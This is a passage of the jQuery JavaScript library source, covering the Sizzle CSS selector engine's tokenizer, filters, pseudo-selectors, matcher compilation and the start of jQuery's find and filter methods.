fooled by Object.prototype properties (jQuery #13807) val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, !documentIsHTML ) : undefined; return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute( name ) : ( val = elem.getAttributeNode( name ) ) && val.specified ? val.value : null; }; Sizzle.escape = function( sel ) { return ( sel + "" ).replace( rcssescape, fcssescape ); }; Sizzle.error = function( msg ) { throw new Error( "Syntax error, unrecognized expression: " + msg ); }; /** * Document sorting and removing duplicates * @param {ArrayLike} results */ Sizzle.uniqueSort = function( results ) { var elem, duplicates = [], j = 0, i = 0; // Unless we *know* we can detect duplicates, assume their presence hasDuplicate = !support.detectDuplicates; sortInput = !support.sortStable && results.slice( 0 ); results.sort( sortOrder ); if ( hasDuplicate ) { while ( ( elem = results[ i++ ] ) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } // Clear input after sorting to release objects // See https://github.com/jquery/sizzle/pull/225 sortInput = null; return results; }; /** * Utility function for retrieving the text value of an array of DOM nodes * @param {Array|Element} elem */ getText = Sizzle.getText = function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( ( node = elem[ i++ ] ) ) { // Do not traverse comment nodes ret += getText( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements // innerText usage removed for consistency of new lines (jQuery #11153) if ( typeof elem.textContent === "string" ) { return elem.textContent; } else { // Traverse its children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { ret += getText( elem ); } } } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }; Expr = Sizzle.selectors = { // Can be adjusted by the user cacheLength: 50, createPseudo: markFunction, match: matchExpr, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: true }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: true }, "~": { dir: "previousSibling" } }, preFilter: { "ATTR": function( match ) { match[ 1 ] = match[ 1 ].replace( runescape, funescape ); // Move the given value to match[3] whether quoted or unquoted match[ 3 ] = ( match[ 3 ] || match[ 4 ] || match[ 5 ] || "" ).replace( runescape, funescape ); if ( match[ 2 ] === "~=" ) { match[ 3 ] = " " + match[ 3 ] + " "; } return match.slice( 0, 4 ); }, "CHILD": function( match ) { /* matches from matchExpr["CHILD"] 1 type (only|nth|...) 2 what (child|of-type) 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 4 xn-component of xn+y argument ([+-]?\d*n|) 5 sign of xn-component 6 x of xn-component 7 sign of y-component 8 y of y-component */ match[ 1 ] = match[ 1 ].toLowerCase(); if ( match[ 1 ].slice( 0, 3 ) === "nth" ) { // nth-* requires argument if ( !match[ 3 ] ) { Sizzle.error( match[ 0 ] ); } // numeric x and y parameters for Expr.filter.CHILD // remember that false/true cast respectively to 0/1 match[ 4 ] = +( match[ 4 ] ? match[ 5 ] + ( match[ 6 ] || 1 ) : 2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" ) ); match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" ); // other types prohibit arguments } else if ( match[ 3 ] ) { Sizzle.error( match[ 0 ] ); } return match; }, "PSEUDO": function( match ) { var excess, unquoted = !match[ 6 ] && match[ 2 ]; if ( matchExpr[ "CHILD" ].test( match[ 0 ] ) ) { return null; } // Accept quoted arguments as-is if ( match[ 3 ] ) { match[ 2 ] = match[ 4 ] || match[ 5 ] || ""; // Strip excess characters from unquoted arguments } else if ( unquoted && rpseudo.test( unquoted ) && // Get excess from tokenize (recursively) ( excess = tokenize( unquoted, true ) ) && // advance to the next closing parenthesis ( excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length ) ) { // excess is a negative index match[ 0 ] = match[ 0 ].slice( 0, excess ); match[ 2 ] = unquoted.slice( 0, excess ); } // Return only captures needed by the pseudo filter method (type and argument) return match.slice( 0, 3 ); } }, filter: { "TAG": function( nodeNameSelector ) { var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); return nodeNameSelector === "*" ? function() { return true; } : function( elem ) { return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; }; }, "CLASS": function( className ) { var pattern = classCache[ className + " " ]; return pattern || ( pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" ) ) && classCache( className, function( elem ) { return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute( "class" ) || "" ); } ); }, "ATTR": function( name, operator, check ) { return function( elem ) { var result = Sizzle.attr( elem, name ); if ( result == null ) { return operator === "!="; } if ( !operator ) { return true; } result += ""; /* eslint-disable max-len */ return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf( check ) === 0 : operator === "*=" ? check && result.indexOf( check ) > -1 : operator === "$=" ? check && result.slice( -check.length ) === check : operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 : operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : false; /* eslint-enable max-len */ }; }, "CHILD": function( type, what, _argument, first, last ) { var simple = type.slice( 0, 3 ) !== "nth", forward = type.slice( -4 ) !== "last", ofType = what === "of-type"; return first === 1 && last === 0 ? // Shortcut for :nth-*(n) function( elem ) { return !!elem.parentNode; } : function( elem, _context, xml ) { var cache, uniqueCache, outerCache, node, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling", parent = elem.parentNode, name = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType, diff = false; if ( parent ) { // :(first|last|only)-(child|of-type) if ( simple ) { while ( dir ) { node = elem; while ( ( node = node[ dir ] ) ) { if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) { return false; } } // Reverse direction for :only-* (if we haven't yet done so) start = dir = type === "only" && !start && "nextSibling"; } return true; } start = [ forward ? parent.firstChild : parent.lastChild ]; // non-xml :nth-child(...) stores cache data on `parent` if ( forward && useCache ) { // Seek `elem` from a previously-cached index // ...in a gzip-friendly way node = parent; outerCache = node[ expando ] || ( node[ expando ] = {} ); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || ( outerCache[ node.uniqueID ] = {} ); cache = uniqueCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex && cache[ 2 ]; node = nodeIndex && parent.childNodes[ nodeIndex ]; while ( ( node = ++nodeIndex && node && node[ dir ] || // Fallback to seeking `elem` from the start ( diff = nodeIndex = 0 ) || start.pop() ) ) { // When found, cache indexes on `parent` and break if ( node.nodeType === 1 && ++diff && node === elem ) { uniqueCache[ type ] = [ dirruns, nodeIndex, diff ]; break; } } } else { // Use previously-cached element index if available if ( useCache ) { // ...in a gzip-friendly way node = elem; outerCache = node[ expando ] || ( node[ expando ] = {} ); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || ( outerCache[ node.uniqueID ] = {} ); cache = uniqueCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex; } // xml :nth-child(...) // or :nth-last-child(...) or :nth(-last)?-of-type(...) if ( diff === false ) { // Use the same loop as above to seek `elem` from the start while ( ( node = ++nodeIndex && node && node[ dir ] || ( diff = nodeIndex = 0 ) || start.pop() ) ) { if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) { // Cache the index of each encountered element if ( useCache ) { outerCache = node[ expando ] || ( node[ expando ] = {} ); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || ( outerCache[ node.uniqueID ] = {} ); uniqueCache[ type ] = [ dirruns, diff ]; } if ( node === elem ) { break; } } } } } // Incorporate the offset, then check against cycle size diff -= last; return diff === first || ( diff % first === 0 && diff / first >= 0 ); } }; }, "PSEUDO": function( pseudo, argument ) { // pseudo-class names are case-insensitive // http://www.w3.org/TR/selectors/#pseudo-classes // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters // Remember that setFilters inherits from pseudos var args, fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || Sizzle.error( "unsupported pseudo: " + pseudo ); // The user may use createPseudo to indicate that // arguments are needed to create the filter function // just as Sizzle does if ( fn[ expando ] ) { return fn( argument ); } // But maintain support for old signatures if ( fn.length > 1 ) { args = [ pseudo, pseudo, "", argument ]; return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? markFunction( function( seed, matches ) { var idx, matched = fn( seed, argument ), i = matched.length; while ( i-- ) { idx = indexOf( seed, matched[ i ] ); seed[ idx ] = !( matches[ idx ] = matched[ i ] ); } } ) : function( elem ) { return fn( elem, 0, args ); }; } return fn; } }, pseudos: { // Potentially complex pseudos "not": markFunction( function( selector ) { // Trim the selector passed to compile // to avoid treating leading and trailing // spaces as combinators var input = [], results = [], matcher = compile( selector.replace( rtrim, "$1" ) ); return matcher[ expando ] ? markFunction( function( seed, matches, _context, xml ) { var elem, unmatched = matcher( seed, null, xml, [] ), i = seed.length; // Match elements unmatched by `matcher` while ( i-- ) { if ( ( elem = unmatched[ i ] ) ) { seed[ i ] = !( matches[ i ] = elem ); } } } ) : function( elem, _context, xml ) { input[ 0 ] = elem; matcher( input, null, xml, results ); // Don't keep the element (issue #299) input[ 0 ] = null; return !results.pop(); }; } ), "has": markFunction( function( selector ) { return function( elem ) { return Sizzle( selector, elem ).length > 0; }; } ), "contains": markFunction( function( text ) { text = text.replace( runescape, funescape ); return function( elem ) { return ( elem.textContent || getText( elem ) ).indexOf( text ) > -1; }; } ), // "Whether an element is represented by a :lang() selector // is based solely on the element's language value // being equal to the identifier C, // or beginning with the identifier C immediately followed by "-". // The matching of C against the element's language value is performed case-insensitively. // The identifier C does not have to be a valid language name." // http://www.w3.org/TR/selectors/#lang-pseudo "lang": markFunction( function( lang ) { // lang value must be a valid identifier if ( !ridentifier.test( lang || "" ) ) { Sizzle.error( "unsupported lang: " + lang ); } lang = lang.replace( runescape, funescape ).toLowerCase(); return function( elem ) { var elemLang; do { if ( ( elemLang = documentIsHTML ? elem.lang : elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) { elemLang = elemLang.toLowerCase(); return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; } } while ( ( elem = elem.parentNode ) && elem.nodeType === 1 ); return false; }; } ), // Miscellaneous "target": function( elem ) { var hash = window.location && window.location.hash; return hash && hash.slice( 1 ) === elem.id; }, "root": function( elem ) { return elem === docElem; }, "focus": function( elem ) { return elem === document.activeElement && ( !document.hasFocus || document.hasFocus() ) && !!( elem.type || elem.href || ~elem.tabIndex ); }, // Boolean properties "enabled": createDisabledPseudo( false ), "disabled": createDisabledPseudo( true ), "checked": function( elem ) { // In CSS3, :checked should return both checked and selected elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked var nodeName = elem.nodeName.toLowerCase(); return ( nodeName === "input" && !!elem.checked ) || ( nodeName === "option" && !!elem.selected ); }, "selected": function( elem ) { // Accessing this property makes selected-by-default // options in Safari work properly if ( elem.parentNode ) { // eslint-disable-next-line no-unused-expressions elem.parentNode.selectedIndex; } return elem.selected === true; }, // Contents "empty": function( elem ) { // http://www.w3.org/TR/selectors/#empty-pseudo // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), // but not by others (comment: 8; processing instruction: 7; etc.) // nodeType < 6 works because attributes (2) do not appear as children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { if ( elem.nodeType < 6 ) { return false; } } return true; }, "parent": function( elem ) { return !Expr.pseudos[ "empty" ]( elem ); }, // Element/input types "header": function( elem ) { return rheader.test( elem.nodeName ); }, "input": function( elem ) { return rinputs.test( elem.nodeName ); }, "button": function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === "button" || name === "button"; }, "text": function( elem ) { var attr; return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && // Support: IE<8 // New HTML5 attribute values (e.g., "search") appear with elem.type === "text" ( ( attr = elem.getAttribute( "type" ) ) == null || attr.toLowerCase() === "text" ); }, // Position-in-collection "first": createPositionalPseudo( function() { return [ 0 ]; } ), "last": createPositionalPseudo( function( _matchIndexes, length ) { return [ length - 1 ]; } ), "eq": createPositionalPseudo( function( _matchIndexes, length, argument ) { return [ argument < 0 ? argument + length : argument ]; } ), "even": createPositionalPseudo( function( matchIndexes, length ) { var i = 0; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; } ), "odd": createPositionalPseudo( function( matchIndexes, length ) { var i = 1; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; } ), "lt": createPositionalPseudo( function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument > length ? length : argument; for ( ; --i >= 0; ) { matchIndexes.push( i ); } return matchIndexes; } ), "gt": createPositionalPseudo( function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; ++i < length; ) { matchIndexes.push( i ); } return matchIndexes; } ) } }; Expr.pseudos[ "nth" ] = Expr.pseudos[ "eq" ]; // Add button/input type pseudos for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { Expr.pseudos[ i ] = createInputPseudo( i ); } for ( i in { submit: true, reset: true } ) { Expr.pseudos[ i ] = createButtonPseudo( i ); } // Easy API for creating new setFilters function setFilters() {} setFilters.prototype = Expr.filters = Expr.pseudos; Expr.setFilters = new setFilters(); tokenize = Sizzle.tokenize = function( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } soFar = selector; groups = []; preFilters = Expr.preFilter; while ( soFar ) { // Comma and first run if ( !matched || ( match = rcomma.exec( soFar ) ) ) { if ( match ) { // Don't consume trailing commas as valid soFar = soFar.slice( match[ 0 ].length ) || soFar; } groups.push( ( tokens = [] ) ); } matched = false; // Combinators if ( ( match = rcombinators.exec( soFar ) ) ) { matched = match.shift(); tokens.push( { value: matched, // Cast descendant combinators to space type: match[ 0 ].replace( rtrim, " " ) } ); soFar = soFar.slice( matched.length ); } // Filters for ( type in Expr.filter ) { if ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] || ( match = preFilters[ type ]( match ) ) ) ) { matched = match.shift(); tokens.push( { value: matched, type: type, matches: match } ); soFar = soFar.slice( matched.length ); } } if ( !matched ) { break; } } // Return the length of the invalid excess // if we're just parsing // Otherwise, throw an error or return tokens return parseOnly ? soFar.length : soFar ? Sizzle.error( selector ) : // Cache the tokens tokenCache( selector, groups ).slice( 0 ); }; function toSelector( tokens ) { var i = 0, len = tokens.length, selector = ""; for ( ; i < len; i++ ) { selector += tokens[ i ].value; } return selector; } function addCombinator( matcher, combinator, base ) { var dir = combinator.dir, skip = combinator.next, key = skip || dir, checkNonElements = base && key === "parentNode", doneName = done++; return combinator.first ? // Check against closest ancestor/preceding element function( elem, context, xml ) { while ( ( elem = elem[ dir ] ) ) { if ( elem.nodeType === 1 || checkNonElements ) { return matcher( elem, context, xml ); } } return false; } : // Check against all ancestor/preceding elements function( elem, context, xml ) { var oldCache, uniqueCache, outerCache, newCache = [ dirruns, doneName ]; // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching if ( xml ) { while ( ( elem = elem[ dir ] ) ) { if ( elem.nodeType === 1 || checkNonElements ) { if ( matcher( elem, context, xml ) ) { return true; } } } } else { while ( ( elem = elem[ dir ] ) ) { if ( elem.nodeType === 1 || checkNonElements ) { outerCache = elem[ expando ] || ( elem[ expando ] = {} ); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ elem.uniqueID ] || ( outerCache[ elem.uniqueID ] = {} ); if ( skip && skip === elem.nodeName.toLowerCase() ) { elem = elem[ dir ] || elem; } else if ( ( oldCache = uniqueCache[ key ] ) && oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { // Assign to newCache so results back-propagate to previous elements return ( newCache[ 2 ] = oldCache[ 2 ] ); } else { // Reuse newcache so results back-propagate to previous elements uniqueCache[ key ] = newCache; // A match means we're done; a fail means we have to keep checking if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) { return true; } } } } } return false; }; } function elementMatcher( matchers ) { return matchers.length > 1 ? function( elem, context, xml ) { var i = matchers.length; while ( i-- ) { if ( !matchers[ i ]( elem, context, xml ) ) { return false; } } return true; } : matchers[ 0 ]; } function multipleContexts( selector, contexts, results ) { var i = 0, len = contexts.length; for ( ; i < len; i++ ) { Sizzle( selector, contexts[ i ], results ); } return results; } function condense( unmatched, map, filter, context, xml ) { var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null; for ( ; i < len; i++ ) { if ( ( elem = unmatched[ i ] ) ) { if ( !filter || filter( elem, context, xml ) ) { newUnmatched.push( elem ); if ( mapped ) { map.push( i ); } } } } return newUnmatched; } function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { if ( postFilter && !postFilter[ expando ] ) { postFilter = setMatcher( postFilter ); } if ( postFinder && !postFinder[ expando ] ) { postFinder = setMatcher( postFinder, postSelector ); } return markFunction( function( seed, results, context, xml ) { var temp, i, elem, preMap = [], postMap = [], preexisting = results.length, // Get initial elements from seed or context elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), // Prefilter to get matcher input, preserving a map for seed-results synchronization matcherIn = preFilter && ( seed || !selector ) ? condense( elems, preMap, preFilter, context, xml ) : elems, matcherOut = matcher ? // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, postFinder || ( seed ? preFilter : preexisting || postFilter ) ? // ...intermediate processing is necessary [] : // ...otherwise use results directly results : matcherIn; // Find primary matches if ( matcher ) { matcher( matcherIn, matcherOut, context, xml ); } // Apply postFilter if ( postFilter ) { temp = condense( matcherOut, postMap ); postFilter( temp, [], context, xml ); // Un-match failing elements by moving them back to matcherIn i = temp.length; while ( i-- ) { if ( ( elem = temp[ i ] ) ) { matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem ); } } } if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { // Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( ( elem = matcherOut[ i ] ) ) { // Restore matcherIn since elem is not yet a final match temp.push( ( matcherIn[ i ] = elem ) ); } } postFinder( null, ( matcherOut = [] ), temp, xml ); } // Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( ( elem = matcherOut[ i ] ) && ( temp = postFinder ? indexOf( seed, elem ) : preMap[ i ] ) > -1 ) { seed[ temp ] = !( results[ temp ] = elem ); } } } // Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } } ); } function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[ 0 ].type ], implicitRelative = leadingRelative || Expr.relative[ " " ], i = leadingRelative ? 1 : 0, // The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( ( checkContext = context ).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); // Avoid hanging onto element (issue #299) checkContext = null; return ret; } ]; for ( ; i < len; i++ ) { if ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) { matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ]; } else { matcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches ); // Return special upon seeing a positional matcher if ( matcher[ expando ] ) { // Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[ j ].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( // If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens .slice( 0, i - 1 ) .concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } ) ).replace( rtrim, "$1" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } } return elementMatcher( matchers ); } function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = "0", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, // We must always have either seed elements or outermost context elems = seed || byElement && Expr.find[ "TAG" ]( "*", outermost ), // Use integer dirruns iff this is the outermost matcher dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ), len = elems.length; if ( outermost ) { // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq outermostContext = context == document || context || outermost; } // Add elements passing elementMatchers directly to results // Support: IE<9, Safari // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id for ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) { if ( byElement && elem ) { j = 0; // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( !context && elem.ownerDocument != document ) { setDocument( elem ); xml = !documentIsHTML; } while ( ( matcher = elementMatchers[ j++ ] ) ) { if ( matcher( elem, context || document, xml ) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } } // Track unmatched elements for set filters if ( bySet ) { // They will have gone through all possible matchers if ( ( elem = !matcher && elem ) ) { matchedCount--; } // Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } } // `i` is now the count of elements visited above, and adding it to `matchedCount` // makes the latter nonnegative. matchedCount += i; // Apply set filters to unmatched elements // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` // equals `i`), unless we didn't visit _any_ elements in the above loop because we have // no element matchers and no seed. // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that // case, which will result in a "00" `matchedCount` that differs from `i` but is also // numerically zero. if ( bySet && i !== matchedCount ) { j = 0; while ( ( matcher = setMatchers[ j++ ] ) ) { matcher( unmatched, setMatched, context, xml ); } if ( seed ) { // Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !( unmatched[ i ] || setMatched[ i ] ) ) { setMatched[ i ] = pop.call( results ); } } } // Discard index placeholder values to get only actual matches setMatched = condense( setMatched ); } // Add matches to results push.apply( results, setMatched ); // Seedless set matches succeeding multiple successful matchers stipulate sorting if ( outermost && !seed && setMatched.length > 0 && ( matchedCount + setMatchers.length ) > 1 ) { Sizzle.uniqueSort( results ); } } // Override manipulation of globals by nested matchers if ( outermost ) { dirruns = dirrunsUnique; outermostContext = contextBackup; } return unmatched; }; return bySet ? markFunction( superMatcher ) : superMatcher; } compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) { var i, setMatchers = [], elementMatchers = [], cached = compilerCache[ selector + " " ]; if ( !cached ) { // Generate a function of recursive functions that can be used to check each element if ( !match ) { match = tokenize( selector ); } i = match.length; while ( i-- ) { cached = matcherFromTokens( match[ i ] ); if ( cached[ expando ] ) { setMatchers.push( cached ); } else { elementMatchers.push( cached ); } } // Cache the compiled function cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); // Save selector and tokenization cached.selector = selector; } return cached; }; /** * A low-level selection function that works with Sizzle's compiled * selector functions * @param {String|Function} selector A selector or a pre-compiled * selector function built with Sizzle.compile * @param {Element} context * @param {Array} [results] * @param {Array} [seed] A set of elements to match against */ select = Sizzle.select = function( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( ( selector = compiled.selector || selector ) ); results = results || []; // Try to minimize operations if there is only one selector in the list and no seed // (the latter of which guarantees us context) if ( match.length === 1 ) { // Reduce context if the leading compound selector is an ID tokens = match[ 0 ] = match[ 0 ].slice( 0 ); if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" && context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) { context = ( Expr.find[ "ID" ]( token.matches[ 0 ] .replace( runescape, funescape ), context ) || [] )[ 0 ]; if ( !context ) { return results; // Precompiled matchers will still verify ancestry, so step up a level } else if ( compiled ) { context = context.parentNode; } selector = selector.slice( tokens.shift().value.length ); } // Fetch a seed set for right-to-left matching i = matchExpr[ "needsContext" ].test( selector ) ? 0 : tokens.length; while ( i-- ) { token = tokens[ i ]; // Abort if we hit a combinator if ( Expr.relative[ ( type = token.type ) ] ) { break; } if ( ( find = Expr.find[ type ] ) ) { // Search, expanding context for leading sibling combinators if ( ( seed = find( token.matches[ 0 ].replace( runescape, funescape ), rsibling.test( tokens[ 0 ].type ) && testContext( context.parentNode ) || context ) ) ) { // If seed is empty or no tokens remain, we can return early tokens.splice( i, 1 ); selector = seed.length && toSelector( tokens ); if ( !selector ) { push.apply( results, seed ); return results; } break; } } } } // Compile and execute a filtering function if one is not provided // Provide `match` to avoid retokenization if we modified the selector above ( compiled || compile( selector, match ) )( seed, context, !documentIsHTML, results, !context || rsibling.test( selector ) && testContext( context.parentNode ) || context ); return results; }; // One-time assignments // Sort stability support.sortStable = expando.split( "" ).sort( sortOrder ).join( "" ) === expando; // Support: Chrome 14-35+ // Always assume duplicates if they aren't passed to the comparison function support.detectDuplicates = !!hasDuplicate; // Initialize against the default document setDocument(); // Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27) // Detached nodes confoundingly follow *each other* support.sortDetached = assert( function( el ) { // Should return 1, but returns 4 (following) return el.compareDocumentPosition( document.createElement( "fieldset" ) ) & 1; } ); // Support: IE<8 // Prevent attribute/property "interpolation" // https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx if ( !assert( function( el ) { el.innerHTML = "<a href='#'></a>"; return el.firstChild.getAttribute( "href" ) === "#"; } ) ) { addHandle( "type|href|height|width", function( elem, name, isXML ) { if ( !isXML ) { return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 ); } } ); } // Support: IE<9 // Use defaultValue in place of getAttribute("value") if ( !support.attributes || !assert( function( el ) { el.innerHTML = "<input/>"; el.firstChild.setAttribute( "value", "" ); return el.firstChild.getAttribute( "value" ) === ""; } ) ) { addHandle( "value", function( elem, _name, isXML ) { if ( !isXML && elem.nodeName.toLowerCase() === "input" ) { return elem.defaultValue; } } ); } // Support: IE<9 // Use getAttributeNode to fetch booleans when getAttribute lies if ( !assert( function( el ) { return el.getAttribute( "disabled" ) == null; } ) ) { addHandle( booleans, function( elem, name, isXML ) { var val; if ( !isXML ) { return elem[ name ] === true ? name.toLowerCase() : ( val = elem.getAttributeNode( name ) ) && val.specified ? val.value : null; } } ); } return Sizzle; } )( window ); jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; // Deprecated jQuery.expr[ ":" ] = jQuery.expr.pseudos; jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; jQuery.escapeSelector = Sizzle.escape; var dir = function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }; var siblings = function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; }; var rneedsContext = jQuery.expr.match.needsContext; function nodeName( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); } var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { return !!qualifier.call( elem, i, elem ) !== not; } ); } // Single element if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } ); } // Arraylike of elements (jQuery, arguments, Array) if ( typeof qualifier !== "string" ) { return jQuery.grep( elements, function( elem ) { return ( indexOf.call( qualifier, elem ) > -1 ) !== not; } ); } // Filtered directly for both simple and complex selectors return jQuery.filter( qualifier, elements, not ); } jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } if ( elems.length === 1 && elem.nodeType === 1 ) { return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : []; } return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); }; jQuery.fn.extend( { find: function( selector ) { var i, ret, len = this.length, self = this; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); } 